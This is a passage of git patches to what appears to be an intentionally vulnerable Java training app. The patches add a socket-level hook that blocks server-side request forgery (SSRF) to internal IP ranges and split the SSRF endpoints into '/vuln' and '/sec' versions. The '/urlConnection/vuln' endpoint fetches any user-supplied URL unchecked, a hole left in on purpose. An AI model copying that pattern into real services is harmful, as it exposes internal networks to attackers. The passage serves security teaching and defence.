+    static private SocketImpl socketImpl = null;
+    static private Method createImpl;
+    static private Method connectHostImpl;
+    static private Method connectInetAddressImpl;
+    static private Method connectSocketAddressImpl;
+    static private Method bindImpl;
+    static private Method listenImpl;
+    static private Method acceptImpl;
+    static private Method getInputStreamImpl;
+    static private Method getOutputStreamImpl;
+    static private Method availableImpl;
+    static private Method closeImpl;
+    static private Method shutdownInputImpl;
+    static private Method shutdownOutputImpl;
+    static private Method sendUrgentDataImpl;
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+    SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+            InvocationTargetException, InstantiationException {
+        socketImpl = (SocketImpl) socketConstructor.newInstance();
+    }
+
+
+    /**
+     * Init reflect method.
+     *
+     * @author liergou
+     */
+    static void initSocketImpl(Class<?> initSocketImpl) {
+
+        if (initSocketImpl == null) {
+            SocketHookFactory.setHook(false);
+            throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+        }
+
+        if (!isInit) {
+            //
+            createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class<?>[]{boolean.class});
+            connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{String.class, int.class});
+            connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{InetAddress.class, int.class});
+            connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{SocketAddress.class, int.class});
+            bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class<?>[]{InetAddress.class, int.class});
+            listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class<?>[]{int.class});
+            acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class<?>[]{SocketImpl.class});
+            getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class<?>[]{});
+            getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class<?>[]{});
+            availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class<?>[]{});
+            closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class<?>[]{});
+            shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class<?>[]{});
+            shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class<?>[]{});
+            sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class<?>[]{int.class});
+            isInit = true;
+        }
+    }
+
+
+    /**
+     * socket base method impl
+     */
+    @Override
+    protected void create(boolean stream) throws IOException {
+        try {
+            createImpl.invoke(socketImpl, stream);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+
+    @Override
+    protected void connect(String host, int port) throws IOException {
+        logger.info("host: " + host + "\tport: " + port);
+        try {
+            connectHostImpl.invoke(socketImpl, host, port);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+
+    @Override
+    protected void connect(InetAddress address, int port) throws IOException {
+
+        logger.info("InetAddress: " + address.toString());
+
+        try {
+            if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+                throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+            }
+            connectInetAddressImpl.invoke(socketImpl, address, port);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void connect(SocketAddress address, int timeout) throws IOException {
+
+        // convert SocketAddress to InetSocketAddress
+        InetSocketAddress addr = (InetSocketAddress) address;
+
+        String ip = addr.getAddress().getHostAddress();
+        String host = addr.getHostName();
+        logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+        try {
+            if (SSRFChecker.isInternalIp(ip)) {
+                throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+            }
+            connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+        } catch (IllegalAccessException | IllegalArgumentException |
+                InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void bind(InetAddress host, int port) throws IOException {
+        try {
+            bindImpl.invoke(socketImpl, host, port);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void listen(int backlog) {
+
+        try {
+            listenImpl.invoke(socketImpl, backlog);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void accept(SocketImpl s) throws IOException {
+
+        try {
+            acceptImpl.invoke(socketImpl, s);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected InputStream getInputStream() throws IOException {
+        InputStream inStream = null;
+
+        try {
+            inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+        } catch (ClassCastException | InvocationTargetException |
+                IllegalArgumentException | IllegalAccessException ex) {
+            logger.error(ex.toString());
+        }
+
+        return inStream;
+    }
+
+    @Override
+    protected OutputStream getOutputStream() throws IOException {
+        OutputStream outStream = null;
+
+        try {
+            outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+        } catch (ClassCastException | IllegalArgumentException |
+                IllegalAccessException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+        return outStream;
+    }
+
+    @Override
+    protected int available() throws IOException {
+
+        int result = -1;
+
+        try {
+            result = (Integer) availableImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+        return result;
+    }
+
+    @Override
+    protected void close() throws IOException {
+        try {
+            closeImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void shutdownInput() throws IOException {
+        try {
+            shutdownInputImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void shutdownOutput() throws IOException {
+        try {
+            shutdownOutputImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void sendUrgentData(int data) throws IOException {
+        try {
+            sendUrgentDataImpl.invoke(socketImpl, data);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    public void setOption(int optID, Object value) throws SocketException {
+        if (null != socketImpl) {
+            socketImpl.setOption(optID, value);
+        }
+    }
+
+    public Object getOption(int optID) throws SocketException {
+        return socketImpl.getOption(optID);
+    }
+
+    /*
+     * Dont impl other child method now. Don't be sure where will use it.
+     *
+     */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..b94b82d9
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,28 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+    /**
+     * Poll the parent class to find the reflection method.
+     *
+     * @author liergou @2020-04-04 01:43
+     */
+    static Method findMethod(Class<?> inputClazz, String findName, Class<?>[] args) {
+
+        Class<?> temp = inputClazz;
+
+        while (temp != null) {
+            try {
+                Method tmpMethod = temp.getDeclaredMethod(findName, args);
+                tmpMethod.setAccessible(true);
+                return tmpMethod;
+            } catch (NoSuchMethodException e) {
+                temp = temp.getSuperclass();
+            }
+        }
+        return null;
+    }
+
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index b0a59bc1..7cc16e84 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -2,9 +2,11 @@
 
 import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
+import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
 
+import com.google.common.base.Preconditions;
 import org.springframework.web.util.HtmlUtils;
 
 public class WebUtils {
@@ -30,4 +32,18 @@ public static String getCookieValueByName(HttpServletRequest request, String coo
     public static String json2Jsonp(String callback, String jsonStr) {
         return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
     }
+
+    public static String getFileExtension(String fullName) {
+        Preconditions.checkNotNull(fullName);
+        String fileName = (new File(fullName)).getName();
+        int dotIndex = fileName.lastIndexOf('.');
+        return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
+    }
+
+    public static String getNameWithoutExtension(String file) {
+        Preconditions.checkNotNull(file);
+        String fileName = (new File(file)).getName();
+        int dotIndex = fileName.lastIndexOf('.');
+        return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
+    }
 }

From 2aa0b91a1689c341d3a09b93dd070c78bd2ef287 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Mon, 6 Apr 2020 20:47:42 +0800
Subject: [PATCH 17/38] bug fix

---
 .../java/org/joychou/controller/SSRF.java     | 258 +++++++-----------
 .../org/joychou/security/SecurityUtil.java    |   2 +-
 .../joychou/security/ssrf/SSRFChecker.java    |   1 -
 .../joychou/security/ssrf/SSRFException.java  |   2 +-
 .../org/joychou/security/ssrf/SocketHook.java |   2 +-
 .../security/ssrf/SocketHookFactory.java      |   7 +-
 .../joychou/security/ssrf/SocketHookImpl.java |  66 ++---
 .../security/ssrf/SocketHookUtils.java        |  17 +-
 src/main/java/org/joychou/util/HttpUtils.java | 189 +++++++++++++
 src/main/java/org/joychou/util/WebUtils.java  |   5 +
 src/main/resources/templates/index.html       |   2 +-
 11 files changed, 342 insertions(+), 209 deletions(-)
 create mode 100644 src/main/java/org/joychou/util/HttpUtils.java

diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index e9c30d0e..12384717 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,19 +1,9 @@
 package org.joychou.controller;
 
-import com.squareup.okhttp.OkHttpClient;
-import org.apache.commons.httpclient.HttpClient;
-import org.apache.commons.httpclient.methods.GetMethod;
-import org.apache.commons.io.IOUtils;
-import org.apache.http.HttpResponse;
-import org.apache.http.HttpStatus;
-import org.apache.http.client.fluent.Request;
-import org.apache.http.client.methods.HttpGet;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClients;
 import org.joychou.security.SecurityUtil;
+import org.joychou.security.ssrf.SSRFException;
+import org.joychou.util.HttpUtils;
 import org.joychou.util.WebUtils;
-import org.jsoup.Jsoup;
-import org.jsoup.nodes.Document;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -21,8 +11,6 @@
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-
-import javax.imageio.ImageIO;
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
 import java.net.*;
@@ -40,58 +28,58 @@ public class SSRF {
 
     private static Logger logger = LoggerFactory.getLogger(SSRF.class);
 
-    @RequestMapping("/urlConnection")
-    public static String ssrf_URLConnection(@RequestParam String url) {
-        try {
-            URL u = new URL(url);
-            URLConnection urlConnection = u.openConnection();
-            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
-            String inputLine;
-            StringBuilder html = new StringBuilder();
 
-            while ((inputLine = in.readLine()) != null) {
-                html.append(inputLine);
-            }
-            in.close();
-            return html.toString();
-        } catch (Exception e) {
-            logger.error(e.toString());
-            return "fail";
+    @RequestMapping("/urlConnection/vuln")
+    public static String URLConnectionVuln(String url) {
+        return HttpUtils.URLConnection(url);
+    }
+
+
+    @RequestMapping("/urlConnection/sec")
+    public static String URLConnectionSec(String url) {
+
+        // Decline not http/https protocol
+        if (!url.startsWith("http://") && !url.startsWith("https://")) {
+            return "[-] SSRF check failed";
         }
+
+        try {
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.URLConnection(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
+
     }
 
 
-    @RequestMapping("/HttpURLConnection")
+    @RequestMapping("/HttpURLConnection/sec")
     @ResponseBody
-    public static String ssrf_httpURLConnection(@RequestParam String url) {
+    public static String httpURLConnection(@RequestParam String url) {
         try {
-            URL u = new URL(url);
-            URLConnection urlConnection = u.openConnection();
-            HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
-            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
-            String inputLine;
-            StringBuilder html = new StringBuilder();
-
-            while ((inputLine = in.readLine()) != null) {
-                html.append(inputLine);
-            }
-            in.close();
-            return html.toString();
-        } catch (Exception e) {
-            logger.error(e.toString());
-            return "fail";
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.HTTPURLConnection(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
     }
 
 
-    @RequestMapping("/Request")
+    // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com
+    @RequestMapping("/request/sec")
     @ResponseBody
-    public static String ssrf_Request(@RequestParam String url) {
+    public static String request(@RequestParam String url) {
         try {
-            return Request.Get(url).execute().returnContent().toString();
-        } catch (Exception e) {
-            logger.error(e.toString());
-            return "fail";
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.request(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
     }
 
@@ -106,7 +94,7 @@ public static String ssrf_Request(@RequestParam String url) {
      */
     @RequestMapping("/openStream")
     @ResponseBody
-    public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
+    public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
         InputStream inputStream = null;
         OutputStream outputStream = null;
         try {
@@ -136,164 +124,112 @@ public static void ssrf_openStream(@RequestParam String url, HttpServletResponse
     }
 
 
-    @RequestMapping("/ImageIO")
+    @RequestMapping("/ImageIO/sec")
     @ResponseBody
-    public static void ssrf_ImageIO(@RequestParam String url) {
+    public static String ImageIO(@RequestParam String url) {
         try {
-            URL u = new URL(url);
-            ImageIO.read(u); // send request
-        } catch (Exception e) {
-            logger.error(e.toString());
+            SecurityUtil.startSSRFHook();
+            HttpUtils.imageIO(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
+
+        return "ImageIO ssrf test";
     }
 
 
-    @RequestMapping("/okhttp")
+    @RequestMapping("/okhttp/sec")
     @ResponseBody
-    public static void ssrf_okhttp(@RequestParam String url) throws IOException {
-        OkHttpClient client = new OkHttpClient();
-        com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
-        client.newCall(ok_http).execute();
+    public static String okhttp(@RequestParam String url) {
+
+        try {
+            SecurityUtil.startSSRFHook();
+            HttpUtils.okhttp(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
+
+        return "okhttp ssrf test";
     }
 
 
     /**
-     * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com
-     *
-     * @return The response of url param.
+     * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/HttpClient/sec")
+    @RequestMapping("/httpclient/sec")
     @ResponseBody
-    public static String ssrf_HttpClient(@RequestParam String url) {
-        StringBuilder result = new StringBuilder();
+    public static String HttpClient(@RequestParam String url) {
+
         try {
             SecurityUtil.startSSRFHook();
-            CloseableHttpClient client = HttpClients.createDefault();
-            HttpGet httpGet = new HttpGet(url);
-            HttpResponse httpResponse = client.execute(httpGet); // send request
-            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
-
-            String line;
-            while ((line = rd.readLine()) != null) {
-                result.append(line);
-            }
-
-            // SecurityUtil.stopSSRFHook();
-            return result.toString();
-
-        } catch (Exception e) {
-            return e.toString();
+            return HttpUtils.httpClient(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
         } finally {
             SecurityUtil.stopSSRFHook();
         }
+
     }
 
 
     /**
-     * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
-     * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
-     * <p>
      * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
      */
     @RequestMapping("/commonsHttpClient/sec")
     @ResponseBody
     public static String commonsHttpClient(@RequestParam String url) {
-        if (!SecurityUtil.checkSSRFByWhitehosts(url)) {
-            return "Bad man. I got u.";
-        }
-
-        HttpClient client = new HttpClient();
-        GetMethod method = new GetMethod(url);
-        method.setFollowRedirects(false);
 
         try {
-            // Send http request.
-            int status_code = client.executeMethod(method);
-
-            // Only allow the url that status_code is 200.
-            if (status_code != HttpStatus.SC_OK) {
-                return "Method failed: " + method.getStatusLine();
-            }
-
-            // Read the response body.
-            byte[] resBody = method.getResponseBody();
-            return new String(resBody);
-
-        } catch (IOException e) {
-            return "Error: " + e.getMessage();
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.commonHttpClient(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
         } finally {
-            // Release the connection.
-            method.releaseConnection();
+            SecurityUtil.stopSSRFHook();
         }
 
-
     }
 
     /**
-     * jsoup是一款Java的HTML解析器，可直接解析某个URL地址、HTML文本内容。
-     * <p>
      * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
      */
-    @RequestMapping("/Jsoup")
+    @RequestMapping("/Jsoup/sec")
     @ResponseBody
     public static String Jsoup(@RequestParam String url) {
+
         try {
-            Document doc = Jsoup.connect(url)
-                    .userAgent(
-                            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) "
-                                    + "Chrome/64.0.3282.167 Safari/537.36")
-                    .timeout(3000)
-                    .cookie("name", "joychou") // request请求带的cookie
-                    .followRedirects(false)
-                    .execute().parse();
-            logger.info(doc.html());
-        } catch (MalformedURLException e) {
-            return "exception: " + e.toString();
-        } catch (IOException e) {
-            logger.error(e.toString());
-            return "exception: " + e.toString();
+            SecurityUtil.startSSRFHook();
+            return HttpUtils.Jsoup(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
 
-        return "Jsoup ssrf";
     }
 
 
     /**
-     * 用途：IOUtils可远程获取URL图片
-     * 默认重定向：是
-     * 封装类：URLConnection
-     * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com
+     * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
      */
-    @RequestMapping("/IOUtils")
-    public static String IOUtils(@RequestParam String url) {
+    @RequestMapping("/IOUtils/sec")
+    public static String IOUtils(String url) {
+
         try {
-            // IOUtils.toByteArray内部用URLConnection进行了封装
-            IOUtils.toByteArray(URI.create(url));
-        } catch (Exception e) {
-            return "exception: " + e.toString();
+            SecurityUtil.startSSRFHook();
+            HttpUtils.IOUtils(url);
+        } catch (SSRFException | IOException e) {
+            return e.getMessage();
+        } finally {
+            SecurityUtil.stopSSRFHook();
         }
 
-        return "IOUtils ssrf";
+        return "IOUtils ssrf test";
     }
 
 
-    /**
-     * Safe code.
-     * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
-     */
-    @RequestMapping("/ImageIO/sec")
-    public static String ImageIOSec(@RequestParam String url) {
-        try {
-            URL u = new URL(url);
-            if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
-                logger.error("[-] SSRF check failed. Original Url: " + url);
-                return "SSRF check failed.";
-            }
-            ImageIO.read(u); // send request
-        } catch (Exception e) {
-            return e.toString();
-        }
-
-        return "ImageIO ssrf safe code.";
-    }
 }
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index a1c4cfc6..0b383f5d 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -126,7 +126,7 @@ public static boolean checkSSRFWithoutRedirect(String url) {
      *
      * @author liergou @ 2020-04-04 02:15
      */
-    public static void startSSRFHook() throws NoSuchFieldException, IOException {
+    public static void startSSRFHook() throws IOException {
         SocketHook.startHook();
     }
 
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 32373aff..3860cad9 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -132,7 +132,6 @@ static boolean isInternalIp(String strIP) {
         }
 
         ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();
-        blackSubnets.add("10.0.0.0/8");
         for (String subnet : blackSubnets) {
             SubnetUtils utils = new SubnetUtils(subnet);
             if (utils.getInfo().isInRange(strIP)) {
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
index b27a970f..817c881e 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFException.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -6,7 +6,7 @@
  *
  * @author JoyChou @2020-04-04
  */
-class SSRFException extends RuntimeException {
+public class SSRFException extends RuntimeException {
 
     SSRFException(String s) {
         super(s);
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
index 92b8f496..4ce3509c 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHook.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -12,7 +12,7 @@
  */
 public class SocketHook {
 
-    public static void startHook() throws NoSuchFieldException, IOException {
+    public static void startHook() throws IOException {
         SocketHookFactory.initSocket();
         SocketHookFactory.setHook(true);
         try{
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
index 51a278b7..dc6d951d 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -33,22 +33,23 @@ static void setHook(Boolean set) {
     }
 
 
-    /**
-     * initSocket
-     */
     static void initSocket() {
+
         if (socketConstructor != null) {
             return;
         }
 
         Socket socket = new Socket();
         try {
+            // get impl field in Socket class
             Field implField = Socket.class.getDeclaredField("impl");
             implField.setAccessible(true);
             Class<?> clazz = implField.get(socket).getClass();
+
             SocketHookImpl.initSocketImpl(clazz);
             socketConstructor = clazz.getDeclaredConstructor();
             socketConstructor.setAccessible(true);
+
         } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
             throw new SSRFException("SocketHookFactory init failed!");
         }
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
index c3b9c28d..de244134 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -4,7 +4,6 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
-import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.lang.reflect.Constructor;
@@ -21,21 +20,22 @@
 public class SocketHookImpl extends SocketImpl implements SocketOptions {
 
     private static Boolean isInit = false;
-    static private SocketImpl socketImpl = null;
-    static private Method createImpl;
-    static private Method connectHostImpl;
-    static private Method connectInetAddressImpl;
-    static private Method connectSocketAddressImpl;
-    static private Method bindImpl;
-    static private Method listenImpl;
-    static private Method acceptImpl;
-    static private Method getInputStreamImpl;
-    static private Method getOutputStreamImpl;
-    static private Method availableImpl;
-    static private Method closeImpl;
-    static private Method shutdownInputImpl;
-    static private Method shutdownOutputImpl;
-    static private Method sendUrgentDataImpl;
+
+    private static SocketImpl socketImpl = null;
+    private static Method createImpl;
+    private static Method connectHostImpl;
+    private static Method connectInetAddressImpl;
+    private static Method connectSocketAddressImpl;
+    private static Method bindImpl;
+    private static Method listenImpl;
+    private static Method acceptImpl;
+    private static Method getInputStreamImpl;
+    private static Method getOutputStreamImpl;
+    private static Method availableImpl;
+    private static Method closeImpl;
+    private static Method shutdownInputImpl;
+    private static Method shutdownOutputImpl;
+    private static Method sendUrgentDataImpl;
 
     private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
@@ -58,8 +58,12 @@ static void initSocketImpl(Class<?> initSocketImpl) {
             throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
         }
 
+//        try {
+//            initSocketImpl = Class.forName("java.net.SocketImpl");
+//        } catch (ClassNotFoundException e) {
+//            System.out.println(e.getMessage());
+//        }
         if (!isInit) {
-            //
             createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class<?>[]{boolean.class});
             connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{String.class, int.class});
             connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class<?>[]{InetAddress.class, int.class});
@@ -83,7 +87,7 @@ static void initSocketImpl(Class<?> initSocketImpl) {
      * socket base method impl
      */
     @Override
-    protected void create(boolean stream) throws IOException {
+    protected void create(boolean stream) {
         try {
             createImpl.invoke(socketImpl, stream);
         } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -94,7 +98,7 @@ protected void create(boolean stream) throws IOException {
 
 
     @Override
-    protected void connect(String host, int port) throws IOException {
+    protected void connect(String host, int port) {
         logger.info("host: " + host + "\tport: " + port);
         try {
             connectHostImpl.invoke(socketImpl, host, port);
@@ -106,7 +110,7 @@ protected void connect(String host, int port) throws IOException {
 
 
     @Override
-    protected void connect(InetAddress address, int port) throws IOException {
+    protected void connect(InetAddress address, int port) {
 
         logger.info("InetAddress: " + address.toString());
 
@@ -121,14 +125,14 @@ protected void connect(InetAddress address, int port) throws IOException {
     }
 
     @Override
-    protected void connect(SocketAddress address, int timeout) throws IOException {
+    protected void connect(SocketAddress address, int timeout) {
 
         // convert SocketAddress to InetSocketAddress
         InetSocketAddress addr = (InetSocketAddress) address;
 
         String ip = addr.getAddress().getHostAddress();
         String host = addr.getHostName();
-        logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip));
+        logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
 
         try {
             if (SSRFChecker.isInternalIp(ip)) {
@@ -143,7 +147,7 @@ protected void connect(SocketAddress address, int timeout) throws IOException {
     }
 
     @Override
-    protected void bind(InetAddress host, int port) throws IOException {
+    protected void bind(InetAddress host, int port) {
         try {
             bindImpl.invoke(socketImpl, host, port);
         } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
@@ -162,7 +166,7 @@ protected void listen(int backlog) {
     }
 
     @Override
-    protected void accept(SocketImpl s) throws IOException {
+    protected void accept(SocketImpl s) {
 
         try {
             acceptImpl.invoke(socketImpl, s);
@@ -172,7 +176,7 @@ protected void accept(SocketImpl s) throws IOException {
     }
 
     @Override
-    protected InputStream getInputStream() throws IOException {
+    protected InputStream getInputStream() {
         InputStream inStream = null;
 
         try {
@@ -186,7 +190,7 @@ protected InputStream getInputStream() throws IOException {
     }
 
     @Override
-    protected OutputStream getOutputStream() throws IOException {
+    protected OutputStream getOutputStream() {
         OutputStream outStream = null;
 
         try {
@@ -200,7 +204,7 @@ protected OutputStream getOutputStream() throws IOException {
     }
 
     @Override
-    protected int available() throws IOException {
+    protected int available() {
 
         int result = -1;
 
@@ -214,7 +218,7 @@ protected int available() throws IOException {
     }
 
     @Override
-    protected void close() throws IOException {
+    protected void close() {
         try {
             closeImpl.invoke(socketImpl);
         } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -223,7 +227,7 @@ protected void close() throws IOException {
     }
 
     @Override
-    protected void shutdownInput() throws IOException {
+    protected void shutdownInput() {
         try {
             shutdownInputImpl.invoke(socketImpl);
         } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -233,7 +237,7 @@ protected void shutdownInput() throws IOException {
     }
 
     @Override
-    protected void shutdownOutput() throws IOException {
+    protected void shutdownOutput() {
         try {
             shutdownOutputImpl.invoke(socketImpl);
         } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -243,7 +247,7 @@ protected void shutdownOutput() throws IOException {
     }
 
     @Override
-    protected void sendUrgentData(int data) throws IOException {
+    protected void sendUrgentData(int data) {
         try {
             sendUrgentDataImpl.invoke(socketImpl, data);
         } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
index b94b82d9..00f6c275 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -6,23 +6,22 @@ class SocketHookUtils {
 
     /**
      * Poll the parent class to find the reflection method.
+     * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
      *
